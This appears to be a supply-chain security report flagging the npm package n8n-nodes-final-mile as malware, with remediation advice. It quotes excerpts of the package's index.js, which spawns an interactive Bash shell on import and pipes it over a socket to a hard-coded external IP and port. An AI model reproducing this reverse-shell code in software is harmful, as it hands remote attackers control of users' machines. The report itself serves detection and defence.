registry / Remote code execution / n8n-nodes-final-mile
n8n-nodes-final-mile
Final mile delivery nodes
This report shows the evidence for n8n-nodes-final-mile@1.0.0. 6 of 6 known versions are blocked or flagged. The newest version, 1.0.5, is blocked. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiSource inspection confirms an import-time reverse shell to a hard-coded external endpoint. The benign node file and absence of lifecycle scripts do not mitigate the malicious package entrypoint.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Importing or requiring the package entrypoint (`index.js`).
Impact
Remote command execution and potential host compromise.
Mechanism
Immediate reverse-shell process and socket piping.
Attack narrative
When the package main entrypoint is imported, `index.js` starts interactive Bash and sh processes, connects to the hard-coded IP and port, and pipes socket input into the shells while returning shell output and errors over the socket. This provides a remote operator an interactive shell without user consent.
AI rationale
Source inspection confirms an import-time reverse shell to a hard-coded external endpoint. The benign node file and absence of lifecycle scripts do not mitigate the malicious package entrypoint.
Evidence
package.jsonindex.jsLastNode.js
Network endpoints1
103.27.109.184:8895
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` executes immediately on package import.
- `index.js` spawns interactive `/bin/bash` and `/bin/sh`.
- `index.js` pipes both shell streams to `103.27.109.184:8895`.
- Errors are silently suppressed, concealing connection failures.
Evidence against
- `package.json` declares no lifecycle scripts.
- `LastNode.js` is an inert n8n transform node.
Behavioral surface
ChildProcess
Source & flagged code
3 flagged · loading sourceindex.jsView file
1(function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4: try {
L5: var sh = cp.spawn('/bin/bash', ['-i']);
L6: var c = new net.Socket();
...
L8: c.pipe(sh.stdin);
L9: sh.stdout.pipe(c);
L10: sh.stderr.pipe(c);
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> index.js
L1: (function(){
L2: var net = require('net');
L3: var cp = require('child_process');
L4: try {
L5: var sh = cp.spawn('/bin/bash', ['-i']);
L6: var c = new net.Socket();
...
L8: c.pipe(sh.stdin);
L9: sh.stdout.pipe(c);
L10: sh.stderr.pipe(c);
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L12var net = require('net');
L3: var cp = require('child_process');
L4: try {
High
Findings
2 Critical1 High
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
Affected versions and remediation
This report applies to n8n-nodes-final-mile@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing n8n-nodes-final-mile@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.
Versions
6 known versions1.0.5latestMaliciousMalwareBlockPublishedJul 17, 2026, 1:20 PM1.0.4MaliciousMalwareBlockPublishedJul 17, 2026, 1:01 PM1.0.3MaliciousMalwareBlockPublishedJul 17, 2026, 12:58 PM1.0.2MaliciousMalwareBlockPublishedJul 17, 2026, 12:56 PM1.0.1MaliciousMalwareBlockPublishedJul 17, 2026, 12:49 PM1.0.0shownMaliciousRemote Code ExecutionBlockPublishedJul 17, 2026, 12:21 PM